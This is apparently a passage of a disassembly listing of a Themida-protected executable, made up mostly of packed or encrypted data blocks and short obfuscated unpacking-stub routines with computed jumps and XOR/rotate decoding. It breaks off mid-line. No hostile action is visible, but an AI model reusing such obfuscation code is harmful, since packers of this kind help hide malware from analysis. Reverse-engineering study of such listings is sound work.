0F55EECA5h, 258E1C59h, 76FD4904h dd 0E3AECF43h, 175AFCA7h, 450C3093h, 763F5EC1h, 14B6B430h dd 0B606DD14h, 0FF83A8EEh, 5288155Ch, 1A9ED771h, 72BFF695h dd 969D06AFh, 5C1936F7h, 59EDC6D7h, 0DFD601FDh, 125E412h dd 0FF3F0000h, 1788155Ch, 5EE93D74h, 67A145FEh, 0B5FFF5F8h dd 45E9CAh, 735C8A17h, 0C81E9ADFh, 0B5FFF5CCh, 0F39172E8h dd 0F42475BAh, 0A884961Fh, 4F1477CDh, 2Ah, 0EB5E7D0h, 54FAED8h dd 1A35B600h, 5515595h, 866DB600h, 0F8211D1Dh, 0B4C41477h dd 9E000000h, 10D2D670h, 87B0B600h, 5CFF0A11h, 6A0EF115h dd 0D75C5CEEh, 0D26AF57h, 0DA9FB314h, 77D44455h, 63C08DAEh dd 45EAA3C2h, 0D678B9DCh, 0E264A29Bh, 0AF58039Ch, 992D6407h dd 91358E2Eh, 2A24877h, 0F5113AB6h, 87AC690Ah, 3C61244Ah dd 7CADF2EBh, 0E6156783h, 73E59478h, 2B758C95h, 5B09BCD3h dd 0ABCC77DDh, 0B47CC2E6h, 0FF3CF329h, 0A1806h, 652C4B00h dd 94D17E21h, 0C28BAD16h, 0F2B7DB44h, 276A0BB4h, 0BD5564E3h dd 0EA55D19Ch, 1E810548h, 50F3377Eh, 4626642Dh, 0DE2662A4h dd 0DE1CB606h, 135EFF71h, 40092C97h, 14DA1CFAh, 0DBBA42CBh dd 0FFD4DF59h, 5288155Ch, 0C7CD071h, 0B75B4A75h, 8B9C01FAh dd 0AAE3822Dh, 446931Ch, 0E7B60000h, 0AED80EB5h, 0B5FFFECBh dd 3C7916B9h, 181CDE43h, 0B4B5FFFFh, 684456DFh, 8F1477FEh dd 1E9h, 0D765A690h, 0F626AF57h, 0E96F994Dh, 0DBB606D4h dd 0CA694A70h, 8F396783h, 0B606D58Bh, 0F05ADE79h, 41652C4Fh dd 0D4A9E11Bh, 0B09BB606h, 92028B78h, 344BFD29h, 0EBCAEDBh dd 0DB5A5EE8h, 0F28BCAEh, 0BC96F216h, 39FAEC7Ch, 94C48h dd 91D87F00h, 0C085AA15h, 0F6BFD97Ah, 26630FB0h, 531E3FE0h dd 0E92948D7h, 1E810548h, 4AF5317Ch, 7C27632Ah, 920A90D9h dd 0DEFA3E48h, 82C8B606h, 155CFFA5h, 3D741788h, 1B8431F0h dd 0E2387114h, 6CACDE04h, 37AF57D7h, 408A5C15h, 4FA3CFB3h dd 0A3F5EE1Ah, 0DF2A1BF7h, 13FE212h, 0FF450000h, 1788155Ch dd 4F893D74h, 0BA600DF2h, 0F1F9B8D7h, 2E4A8F79h, 0AE19E335h dd 0F711B50Eh, 0B600C188h, 8A4CD17Ah, 0B600C18Ah, 0D6E44D26h dd 147738FAh, 441Dh, 8895E700h, 0AB14F6EFh, 0E72E75A3h dd 0B2D80EB5h, 3B7D3051h, 4D22Dh, 1A87B0B6h, 4D4D0h, 9A1BF0B6h dd 77F8AC98h, 0DAC56314h, 0D2D6F0B5h, 0B0B60010h, 0AFE31187h dd 85000000h, 0DD829D73h, 0F83068A1h, 155CFFB3h, 57667F1h dd 5AD1BBE4h, 9E034AE9h, 0E7B82B8Dh, 0FDA60B46h, 198A175Eh dd 9F7337Ah, 8E02D0CFh, 593B304h, 588CCDC3h, 0FEB7D6AFh dd 6BD1FA8h, 2C77A6E0h, 0EF69B603h, 1A1DBC5Dh, 0D17FB9E3h dd 3E5F4066h, 0EB8C3773h, 9D9D16Bh, 8ABB603h, 0A8812E6Bh dd 4022C6BFh, 30F3288Eh, 80F12F3h, 27420000h, 0DA77D86Eh dd 80A80B9Fh, 0BCD27DC9h, 6102ADF9h, 60119E2Ch, 4EDC91B2h dd 0B20845E5h, 0EC3A7311h, 0DD692043h, 31699349h, 13B606E0h dd 59BA6ED5h, 0FF287538h, 1855F6B9h, 4B022182h, 5CFFD0FFh dd 71528815h, 18119ED7h, 256C0F90h, 0E9215B81h, 0DBAF57D6h dd 0D1523870h, 23Ch, 0EB5E7F4h, 3351B2D8h, 0B4E4357Ah dd 6D58EB2h, 56DB74B6h, 6D59094h, 0CD362CB6h, 0EF84E5A0h dd 841405AAh, 9874862Fh, 7F147128h, 1F7h, 0D765A6C0h, 987BAF57h dd 0AA7DBBF6h, 0F315B10Ah, 0B606D4C7h, 8B7492BDh, 0BA65A1E8h dd 914DD29Bh, 0D2460F2Eh, 0AE5CE755h, 0B6F39F00h, 2ECF303Ch dd 3464B9D5h, 0AE39DB32h, 6228DBCh, 0ED27E94Fh, 0A091BFE1h dd 0A2463FD8h, 0EC7D82BAh, 2E847DBEh, 61000007h, 983B8FC6h dd 0C768BEFBh, 0F152E8A1h, 2182185Dh, 72F94D00h, 0FFB2D33Fh dd 2B6608ABh, 5910349Fh, 8AC362CDh, 8B2A83Ch, 0B606E110h dd 0FF8FB4F2h, 1788155Ch, 2FF03D74h, 49DA4702h, 72386528h dd 72DD5CC5h, 0AB1458D9h, 0BA50258Dh, 0F8F8590Eh, 6706A90Fh dd 0D2CB82A6h, 2545AE54h, 7854C068h, 9F12DFC8h, 13Bh, 9D5CFFA0h dd 3454B5F0h, 0EE7307Dh, 145D00A1h, 3C873596h, 0F6117C8Eh dd 58F3B5FFh, 0F61313DBh, 0C4AFB5FFh, 0CD635F5Bh, 488A1477h dd 9D000000h, 0E286B5E7h, 3C1506ABh, 803A608Eh, 0AF57D788h dd 8147D17Ah, 0B600056Eh, 0B4B6FB54h, 0B6000570h, 0D25F1233h dd 4B6F214h, 0A38CB600h, 43E52042h, 9B74A50Ah, 65CEBF16h dd 40E14AD6h, 77F84632h, 0A5A114h, 0FF7A0000h, 0B1FC9D5Ch dd 0DD423B6Ch, 0B86E2344h, 357A3757h, 0BD7B4E4h, 62CF8AA8h dd 1D40EF49h, 3756CF54h, 0F0DE287Eh, 0B3AF5850h, 13083890h dd 15C88676h, 0FF5DEE3Ch, 103DA644h, 59DFC855h, 0C4466993h dd 133CB602h, 0FB3F49F7h, 0C9B602C3h, 0BF20CA6Eh, 0ACEC1E9Eh dd 96B602C3h, 0DD46C4BDh, 5FD7F1BCh, 71F328D4h, 5E3D1B2h dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh, 0B5D679CDh dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh, 0E1256C0Fh dd 65A5E705h, 5FB606E2h, 5EFF3219h, 92C9713h, 0FFDDFA40h dd 0B2FB9D5Ch, 0DE433C6Dh, 18A22645h, 0AF57D720h, 0AA5049E2h dd 32662F49h, 16C748h, 0FFE20000h, 1788155Ch, 1DF03D74h dd 5D0007A8h, 280D9614h, 28000000h, 703559BAh, 7CD47738h dd 9DBB10A4h, 845E4FD4h, 1DF69367h, 2B6206E9h, 0D9DC1E8Dh dd 43AF5859h, 21444BD4h, 0BAF5D268h, 22763F59h, 7397DE7Dh dd 7CA3FEF9h, 2D4FBB38h, 0F5EE3F64h, 7DBBFE94h, 14AF0D8Eh dd 0A00A64F6h, 4CE62264h, 73DCAF58h, 48DFA97Bh, 0E4C07AE0h dd 0DEB6070Bh, 0CF6E5175h, 4A236A0Eh, 793053FCh, 7AC17334h dd 9EBD264Ch, 0C7514AD7h, 0B6097A01h, 0E3836CBCh, 5F480526h dd 783D51D2h, 0AF09E23Bh, 0AF10B661h, 0D721C58Ch, 94366E5Ch dd 0BCB67F94h, 60DC56Eh, 0B9039598h, 0F13E7716h, 8B3F8428h dd 5E6F6A71h, 0C9FF58C3h, 0E5CD2947h, 0BA996A49h, 0ED000004h dd 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h, 0FE45C18Ch dd 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h dd 0B606E48Ch, 0FF0B3076h, 2E91155Ch, 56A0460Fh, 32490409h dd 0F457C134h, 0A541082Bh, 0E9266953h, 0ADCF33B8h, 0F49A0BE4h dd 1B8467B1h, 33EC3178h, 38D25F12h, 17710F01h, 0F25BA6FDh dd 45082A31h, 6BD6CFD8h, 3B5A61C2h, 0F00D0DBFh, 5CF7AF57h dd 9B772763h, 6212DFCFh, 50h, 0EB5E7C5h, 3351B2D8h, 9B283E7Ah dd 69B60026h, 95B718CEh, 25B3F711h, 13B5B600h, 0B6002617h dd 978042EDh, 989E68BEh, 0BB60026h, 0C489A968h, 0E9A4C65Fh dd 97A5344h, 0FC4A236Ah, 3B783153h, 4347812Fh, 1B60026h dd 0E63D8216h, 18000003h, 88155CFFh, 0CC81852h, 1C087DB6h dd 3970139Ch, 41FA5AEDh, 3FC63A5h, 1E2B600h, 95862B62h dd 0B9DAFD03h, 857EAFF4h, 1FDE7E61h, 0BFE8357Ch, 75F152C6h dd 0DC6EEA8Ah, 0B60003DCh, 4948DA6h, 3C2C2h, 0A43E1B6h dd 5AF295A5h, 0CF583060h, 5BFC315Eh, 71F03D16h, 0D45CDB44h dd 0C8A4B67Fh, 2F14776Ch, 4Ah, 0C3B5E7F0h, 57D781B9h, 0FFE843AFh dd 55EB1CBh, 0F600B600h, 9B991DD9h, 50FE3A76h, 0BFE0C3E7h dd 0B8FD91F2h, 4B4B9370h, 67B60077h, 0F53557FDh, 0C7B60076h dd 32379347h, 1601C1B0h, 8A882982h, 1477B09Eh, 0CF79h dd 5CFFC200h, 76178815h, 0E2DF63Bh, 2A49DA47h, 0CB252763h dd 0D8AF57DBh, 5AEFCB5h, 64822F66h, 7518D97Bh, 0CDA6F73Ch dd 26E13760h, 5F994DF6h, 59FABDE3h, 449E8F14h, 5816EF68h dd 7FC40660h, 343E7A53h, 7E6792h, 0B4F25DB6h, 63920C4Eh dd 0F6F3DFC0h, 892F1855h, 81259E3Eh, 0F9E9215Bh, 70DBB5FFh dd 9F883238h dd 41BCAA9Ch, 2375305Eh, 2B94321Dh, 60C3470Ah, 0C456723Fh dd 0CCEC80FBh, 2AF16EFh, 47E20000h, 7A17B80Eh, 2048EB3Fh dd 0DC72DD69h, 81A20D99h, 0C0F17ECCh, 2E7C3152h, 12A8E585h dd 4CDA93B1h, 0BD0940E3h, 91893329h, 73B606E6h, 5EFF0E35h dd 3BB3F69Bh, 70EFD76Fh, 90160FF2h, 0C1450C2Fh, 0DA97B81Bh dd 0CFD44455h, 0D80EB5E7h, 54FAEh, 951A35B6h, 55155h, 7A3352B6h dd 64CC6C35h, 0AE60DCF2h, 0CF544DEAh, 0AF2EF764h, 4709AA01h dd 2D72375Ch, 0A2E78BFCh, 288C2C7Dh, 1477FA3Ch, 0AADBh dd 5CFF6C00h, 76178815h, 1248F3Bh, 30689248h, 12AF57D7h dd 0CA0CFF39h, 0AF57DBB4h, 81054CEFh, 0E9367F1Eh, 93378C20h dd 0FFEC0269h, 0B357C0B5h, 0EBB7F315h, 0A28DB5FFh, 0C4692C41h dd 4CFF45D3h, 4CB753E8h, 0EF38652Ch, 0D119A349h, 0B3BCAA8Ah dd 0E0816298h, 95B619ADh, 3A672250h, 0AC85C869h, 0CE53163Bh dd 30C4E4DDh, 60EC810Dh, 1B7C243h, 4FEA0000h, 721F8006h dd 2850F337h, 0D47A2561h, 89AA1591h, 0B8F946C4h, 3674395Ah dd 1AA0ED8Dh, 54D29BB9h, 850148EBh, 89813B21h, 7BB606E7h dd 5EFF163Dh, 92C9713h, 0FFDDFA40h, 0B2FB9D5Ch, 0DE433C6Dh dd 47E72645h, 0D78585C7h, 0D47FAF57h, 0BEE402FBh, 317E3755h dd 0D6DADEF8h, 8FA8AF57h, 5D00A329h, 0AE0E8F14h, 0B457F115h dd 8EB60002h, 0ADF978A5h, 2C5C507h, 1CBFB600h, 0D1473079h dd 93B2B97Ah, 44862CDAh, 0B6000344h, 3983153Eh, 7C1D2E8Eh dd 4ABBEC31h, 0EAC36025h, 0F8B3D5F1h, 0EEBCA822h, 5E0D206Ch dd 0D7EF1DFh, 0ACFD226Bh, 0BD69C20Ch, 3B7D3052h, 0FDB4D748h dd 24FEFB0h, 2D64049Dh, 149D0A80h, 0FCA51685h, 0D6F44FEDh dd 0A8004DEDh, 97BB2442h, 0FBADED1Fh, 0BC97BCA7h, 46805EC3h dd 0BCA7FC42h, 0FA3E1700h, 501BAD6Ch, 2C50B3C3h, 49EF3865h dd 0F01EAC87h, 1BF8304Ah, 61CAC350h, 8CC56837h, 5ADE7E27h dd 501BE820h, 0D69BBBC3h, 0D891B314h, 0EFD0F6EFh, 3695034Eh dd 12199A33h, 238C3A73h, 0C8E14E03h, 0F3219A60h, 91689248h dd 73C9F847h, 0ABCA5BD8h, 11BABDE2h, 928ACC90h, 3493C0E0h dd 8331F622h, 0FD0F8FB0h, 0C9F8B8BDh, 6EB3AC87h, 64A6443Dh dd 0D0A0E485h, 0F556D47Fh, 0BCCEFC47h, 0D74FE1E9h, 2C4A70DBh dd 4FE29E9Ah, 6DCB64D7h, 4F0625FEh, 7C3558FBh, 49573737h dd 8D7E4505h, 377E1D24h, 852D50F3h, 956CD9EEh, 0E64B2457h dd 0B9DC113Dh, 579A07F0h, 8EBB57Eh, 97802D64h, 0B6FF9E01h dd 0E5ACCF70h, 3C7B8h, 0B0E20000h, 1158FFCBh, 3970138Ch dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h dd 0CD84A47Dh, 0D792BF60h, 2768FA4Ah, 89000036h, 8682404h dd 8900006Eh, 8950240Ch, 405E0h, 42D0000h, 87000000h, 895C2404h dd 0BA52243Ch, 6AEFEFEh, 89D78957h, 545A5FF9h, 81243C8Bh dd 4C4h, 2DA96800h, 0C890000h, 24348124h, 316D5B48h, 8108478Fh dd 5B480877h, 34FF316Dh, 0C4815F24h, 4, 592434FFh, 0E904C483h dd 0FFF96B66h, 9226C6h, 0A9712E4h, 0E45B7D6Bh db 8Fh ; --------------------------------------------------------------------------- loc_5BAC75: ; CODE XREF: Themida_:loc_5B985Cj mov eax, 6AF11F1h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 1874h dd 0FDE80F67h, 10E13C09h, 45790CAAh, 0ECE865EFh, 7D8C4748h dd 65386CD2h, 64855DEFh, 953D45BBh, 7CAC13F6h, 1AE94402h dd 50000000h, 2155D6h, 5 dup(0) dd 521E900h, 27420000h, 0DA77D86Eh, 80A80B9Fh, 0BCD27DC9h dd 6102ADF9h, 60119E2Ch, 4EDC91B2h, 0B20845E5h, 0EC3A7311h dd 0DD692043h, 31699349h, 13B606E9h, 59BA6ED5h, 165FFE3Fh dd 1134FB3Dh, 0D7377395h, 0AA0DAF57h, 0FED7C085h, 24FF0B1h dd 31781B84h, 430A2A95h, 0D72565A7h, 341FAF57h, 0FF9E07E4h dd 9BB869B6h, 78E251DEh, 7BB8F197h, 941DF622h, 63A7EE8Dh dd 3C5D9CC0h, 0C4629871h, 57D78682h, 45D37CAFh, 793054FFh dd 67CB6B34h, 0F4A439B6h, 5AA8332h, 4148E9C2h, 16BC6A23h dd 58B9B4F4h, 73A58EAFh, 4E072689h, 0BA1E19E1h, 0F6CAF58h dd 35B894A6h, 5E5F12DFh, 0E0000000h, 88155CFFh, 57D7484Eh dd 7C25B2AFh, 0F5A7A630h, 0CA572BD7h, 69DECA6Eh, 143912DFh dd 0C3000000h, 59331989h, 0B11F0E5Fh, 55BDA1DCh, 6102635Ch dd 0FFA78C2Ch, 0B4FD9F52h, 0A0CD56DBh, 4BE7B8E5h, 5932A10Eh dd 856E94D8h, 1607ACE9h, 57D6ACECh, 7BBD96AFh, 4CDA9FB4h dd 0BD0940E3h, 135EFF96h, 3D78158Eh, 1B8431F0h, 96B67314h dd 0FFA0E6DFh, 0EF1155Ch, 0A1FA276Eh, 6D0B9477h, 2E588624h dd 0AF57D6EAh, 1008B2D8h, 0F2AF57D7h, 5BC86059h, 85951EF5h dd 12DFD459h, 647Ch, 5EFFC700h, 73158E13h, 0AD1EF53Ah dd 115CFD04h, 44092A95h, 0A3E503DFh, 0AF57D767h, 94D97A5Dh dd 9CB27DBBh, 57F13C51h, 0AF98911Eh, 2C8769B6h, 0D46B7783h dd 449212DFh, 0B5000000h, 0F7135EFFh, 0F523660Ch, 0A6EF8D16h dd 4180A879h, 2F746D20h, 169BD276h, 0FA793A93h, 0D8A40D66h dd 9D1B56F7h, 0EE3C7112h, 9F52FFC1h, 50DDB6F3h, 57D78F96h dd 35FEFDAFh, 0DFD64925h, 1AC12h, 0FF770000h, 9EA1059h dd 0C28BAD68h, 0C5534C5Dh, 0D79EBD66h, 0E4ADD033h, 2D4ED7B4h dd 0C30BC360h, 0AA80B316h, 0C18CAE1Fh, 0ECA5C35Ch, 0E170316Eh dd 252CF5DEh, 4BFC4A03h, 0C10AB3E9h, 0E08B5148h, 12A9D3F7h dd 0F0B6006Fh, 2A49DA47h, 0BF392763h, 60BDA4BDh, 0F6B9FF8Eh dd 7E81E57h, 188B2D64h, 5ED8DEh, 0E64F24B6h, 1314BCDFh dd 785C435Ch, 1B8402FBh, 33EC3178h, 55D45910h, 0D3037F8h dd 7A56C644h, 9D147748h, 146h, 0EB5E7A6h, 723AED8h, 36E1B600h dd 0F3F54690h, 0F8FB3F49h, 6EC9B5FFh, 0B4552594h, 785B8764h dd 4159AD7h, 0EC680B94h, 822F6203h, 982961A9h, 301BB600h dd 0BA25C347h, 0DE41D79Eh, 0AAD0F6BFh, 5A642949h, 0B600985Eh dd 0ADDF0B24h, 0B600986Dh, 0CFBCFC57h, 487E3756h, 0F3B1830Eh dd 0EF4959AAh, 8F10BD7Ch, 8243E2CDh, 64B4ADE0h, 55D198BBh dd 776BF5E1h, 2C1014h, 0E72B0000h, 0ADDF0BB6h, 2F57D74Dh dd 57971C37h, 2F57D753h, 2645EE45h, 6A9C4AF5h, 0AF57D70Eh dd 21CF5BF4h, 41D79EBEh, 0A1FEh, 0B5E7D900h, 0CFAED80Eh dd 0B5B6000Ah, 0E98C159Ah, 7AFC1AA0h, 467CCCFEh, 0DC43D596h dd 80CAF0B9h, 958151D1h, 0EAA0C5D5h, 587AA73Fh, 2A2C9F19h dd 0B60095E9h, 48D598BAh, 0B7FCB5D7h, 8A09AA01h, 6834FDF6h dd 30F788C2h, 28C98967h, 23AAEEh, 153798B6h, 6A35635Ch dd 830482CBh, 0CA7CAA11h, 0BCAF3668h, 0B6ACF15Ah, 3F64214Dh dd 46E54AEEh, 0B2ABE687h, 0AB0EA6Dh, 0AF35B8F0h, 0A1DE82BCh dd 0C3F6349Ch, 2B802803h, 0A399B8Ah, 40FA276Eh, 0CAAB53ABh dd 877069DBh, 247BD963h, 0EE49C35Eh, 30BA7358h, 672D3E2Dh dd 7A8E1700h, 0EC12D52Dh, 1CB077A1h, 0DA47022Fh, 0D132E8C1h dd 64B5FAB3h, 369C2E34h, 0CB60714h, 7F60FE23h, 1E0F94DDh dd 3F76159Ah, 6C2548EBh, 0E27207C7h, 0AA03DE01h, 2A630209h dd 5910339Ch, 88A50ED4h, 0ABEF19CDh, 99DE01E1h, 99B57ABEh dd 73AC2EDCh, 2334E361h, 2DF655C3h, 49DA470Eh, 703E632Ah dd 34DB5ADBh, 6C0F169Fh, 0CA5A5EE8h, 0EE28DE02h, 0DA294D29h dd 97807920h, 6B0AF513h, 5AC78EAAh, 0D2CB6841h, 0F3BAD946h dd 1B1FA9D7h, 88DE02CDh, 2801AEEBh, 1216B0D6h, 0F0DE02CDh dd 59CA6E47h, 3E8h, 0CBB0C300h, 8C1158FFh, 0F4397013h dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh dd 60CD84A4h, 4AD792BFh, 0E78957FAh, 4C781h, 0BB530000h dd 4, 875BDF29h, 685C243Ch, 543Ch, 57242C89h, 0C781E789h dd 4, 4EF81h, 3C870000h, 1C895C24h, 0C1685324h, 5B39213Ch dd 5A7FF381h, 0E3C154D7h, 0EB814B06h, 76EA9CC2h, 835B5D53h dd 248904ECh, 24048324h, 52515B04h, 57792168h, 814A5A03h dd 0CD3F78CAh, 0A3C2811Eh, 816E807Eh, 5FFE13EAh, 5AD1898Eh dd 2989D901h, 2434FF59h, 4C4815Bh, 8B000000h, 8956242Ch dd 4C681E6h, 81000000h, 4C6h, 24348700h, 65E8E95Ch, 0D5B1FFF9h dd 0B86B1FABh, 6AF1738h, 0E0FFC503h, 0CCE71C4h, 1C17E7E2h dd 60B1B827h, 60004907h, 78C68F61h, 3A7F308Ch, 78429EC3h dd 1BF4FF5Dh, 147B4777h, 787D152Bh, 7F1479A3h, 590CE4A6h dd 5C0B305Bh, 2719DF7h, 741B8836h, 192A8D8Dh, 6A06AFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8021C6C3h, 8D8943E3h, 6A805B9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0ECC35545h, 607D6EA7h, 858BF33Ch dd 6A83135h, 0CB5362BEh, 6985C766h, 0C006A814h, 6A00006Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 9622C353h, 0BA55D1E2h, 0F3213FEDh, 0C7C2B70Fh dd 0A80BBD85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 80E4DE88h, 9D8B7CCCh dd 6A829D1h, 1561B5FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0E556C4C3h, 0E8D37FA0h dd 0C78B6652h, 0DD95FF5Ah, 0E906A820h, 0Ch, 0E4914A1Dh dd 2DA9DA9Dh, 75278022h, 95FF006Ah, 6A81B31h, 0BEBC08Bh dd 0D1544DECh, 0A16AE8D7h, 0C60B7902h, 0A815D585h, 0DF685606h dd 0FFA9C530h, 0A80F95B5h, 71858D06h, 0FF06AB69h, 0D98D8DD0h dd 5106A82Ch, 0B5FF406Ah, 6A80CB9h, 0D81B5FFh, 0D0FF06A8h dd 0CB9B5FFh, 0B5FF06A8h, 6A80D81h, 0DE8h, 0E38C8100h dd 1E5C492Eh, 1240982Bh, 5A5A24BBh, 0C104EA83h, 0C102242Ch dd 3022424h, 1CF72414h, 6824h, 0FF5E0000h, 81591634h, 0F6C8EDE9h dd 0F9E98129h, 817FF619h, 0AC199DE9h, 320C8947h, 4E02EE83h dd 24343B4Eh, 0FFD9850Fh, 9D8DFFFFh, 6A82065h, 0C00B038Bh dd 7840Fh, 38B0000h, 89045B8Bh, 0E8C98B18h, 0Bh, 2EF7E3A3h dd 0DA3AAEF5h, 8B6216C0h, 0B4B75AF1h, 5B02C281h, 0BF0F0000h dd 0B9C02BD9h, 7650D6F3h, 0B9023C8Bh, 4BE2234Ch, 8233F781h dd 0F18B01D5h, 13E1F781h, 0BB6669AFh, 0C7817ACCh, 37C96E52h dd 9E9h, 52E0CA00h, 0AB9F54E3h, 0F571699h, 48FF0B7h, 0D3CE8102h dd 0F4A6FC0h, 0E883F7B7h, 6E904h, 21730000h, 0D63D77DFh dd 0A5B8F881h, 850FFFFFh, 15h, 0E9C8B70Fh, 3Eh, 9422F9C8h dd 3CD55877h, 23891496h, 11E8600Eh, 0C1000000h, 9FA94C80h dd 0DEE24596h, 0CEBB2C5Eh, 0CCE2736Ch, 0E3F28166h, 0E9615971h dd 0FFFFFF70h, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 5FE96748h dd 52000001h, 0E860D48Bh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6AF1AB3h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5BB60D mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 8EF02A20h xor eax, ebx sub eax, 4 mov [ebp+6A805B9h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0C2554FA4h xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+6A81469h], eax mov eax, [edx+14h] mov [ebp+6A80BBDh], eax mov eax, [edx+18h] push ebx jmp loc_5BB5D1 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A82A8Dh] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A81DA9h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A81561h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A80E01h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A814A1h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A81535h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A805FDh] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A80D41h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A8298Dh] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A82071h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A801B1h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A816FDh] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A82111h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A82A11h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A80915h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- push dword ptr [ebp+6A83509h] jmp loc_5BB5E5 ; --------------------------------------------------------------------------- loc_5BB5D1: ; CODE XREF: Themida_:005BB51Cj mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+6AF1B14h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5BB5E5: ; CODE XREF: Themida_:005BB527j ; Themida_:005BB532j ... call dword ptr [ebp+6A820DDh] pop ebx loc_5BB5EC: ; CODE XREF: Themida_:005BB605j mov eax, [ebp+6A805B9h] cmp [eax+4], ebx jnz loc_5BB60A push ebx push 1 call dword ptr [ebp+6A81B31h] pop ebx jmp loc_5BB5EC ; --------------------------------------------------------------------------- loc_5BB60A: ; CODE XREF: Themida_:005BB5F5j popa pop edx retn ; --------------------------------------------------------------------------- loc_5BB60D: ; CODE XREF: Themida_:005BB4CFj popa pop edx mov eax, 77D4C96Ah jmp eax ; --------------------------------------------------------------------------- dw 858Bh dd 6A82235h, 1C028D8Dh, 418906AFh, 0E8C38B01h, 5, 5A9FBD6Ch dd 0F5BFC04h, 0C381D2B7h, 67F2h, 2D26BE66h, 14E9FF2Bh dd 0C3000000h, 33DF3DB6h, 0DED0BC8Eh, 81EFD13Ch, 2FFFF5D9h dd 8B57D6B9h, 6E83B04h, 17000000h, 520D2D82h, 815EFCAEh dd 48741EE8h, 0F38B6625h, 3BE8F081h, 0FE86B9Ah, 25000000h dd 6D3ED502h, 0AFA788Ah, 0C12E0BF0h, 0CE9A192h, 4F000000h dd 0B01D15F5h, 313FFD1Dh, 59C6DFEAh, 0AFBE881h, 50F95856h dd 0ABEABE66h, 663B048Fh, 317DEE81h, 44F18152h, 5E31F732h dd 0F04EF83h, 0FF81F2BFh, 0FFFF98C0h, 0FF8D850Fh, 830FFFFFh dd 0Eh, 0E8D88160h, 811AA40Ah, 0F1A9CDD8h, 6E86121h, 1D000000h dd 526A9B44h, 0BE9B5h, 79280000h, 5AB87991h, 7FAD8297h dd 81665B86h, 81E8D6DAh, 59EAC3h, 1E2BE00h, 0F681074Fh dd 74F17B7h, 0EA8033FFh, 0E9565900h, 7, 2A671035h, 58B3678Fh dd 0A8E9E981h, 9AB80DF3h, 8152657Bh, 0E780D4C1h, 0CA81666Fh dd 0E9811FDEh, 47BF9AAFh, 660B89F9h, 0EB81D08Bh, 186B8814h dd 0D2C88157h, 587EB854h, 8810C381h, 0CE8186Bh, 3C000000h dd 0C2CC59E8h, 0A60E3BEBh, 6600B598h, 0A083D781h, 850F4E5Fh dd 0FFFFFF98h, 0A8913FBAh, 1DE97Ch, 0AF840000h, 6184h dd 5 dup(0) dd 0E9000000h, 4AFh, 0AF1E8368h, 601CE906h, 0FB68FFF9h dd 0E906AF1Eh, 0FFF96012h, 0AF204F68h, 6008E906h, 2346FFF9h dd 0DE73DC6Ah, 84A40F9Bh, 0B8D679CDh, 6506A9FDh, 64159228h dd 7AC08DAEh, 0B6F4B9D9h, 0E0266F0Dh, 0D1551C3Fh, 35759755h dd 0FB606F4h, 5EFF62C9h, 76158E13h, 0E6DF9AB7h, 0EB5E7A0h dd 0E1FFAED8h, 6AC5B5FFh, 7B3E53BCh, 0D0B3E536h, 0FFE20E16h dd 26B0AAB5h, 715CEE1Eh, 33A80071h, 73746072h, 0E8931477h dd 0B4000002h, 43F12201h, 51B8C2F8h, 33B5FFEDh, 9766A018h dd 14B36553h, 5DEF1BA0h, 0BA0D8552h, 119A0730h, 44E218A3h dd 0D850602h, 0C553FCBAh, 0BF6CED1Fh, 3056C0B5h, 0BF38708Ah dd 210AC0B5h, 0B5BFA199h, 0DFC863C0h, 64A5C82Bh, 11958EC3h dd 204E8FAEh, 0F6EF3865h, 75F897D2h, 9FA39E8h, 324h, 1694DD7Ch dd 41C580ADh, 0B7F3BADEh, 0E723660Ch, 0D0561B3Ch, 4BEC264Bh dd 7F1F8006h, 294BF432h, 0DA79DA60h, 55971793h, 6F4F733h dd 0A08FCDB6h, 0C7BF30BAh, 5DC7BEBFh, 53E84CDBh, 438E15B7h dd 0DB74B607h, 0D16BAD2Fh, 0E9CC4AEBh, 169BD678h, 66499305h dd 913288C5h, 0EA70BDF0h, 0FB697B60h, 0A8007D71h, 770555Eh dd 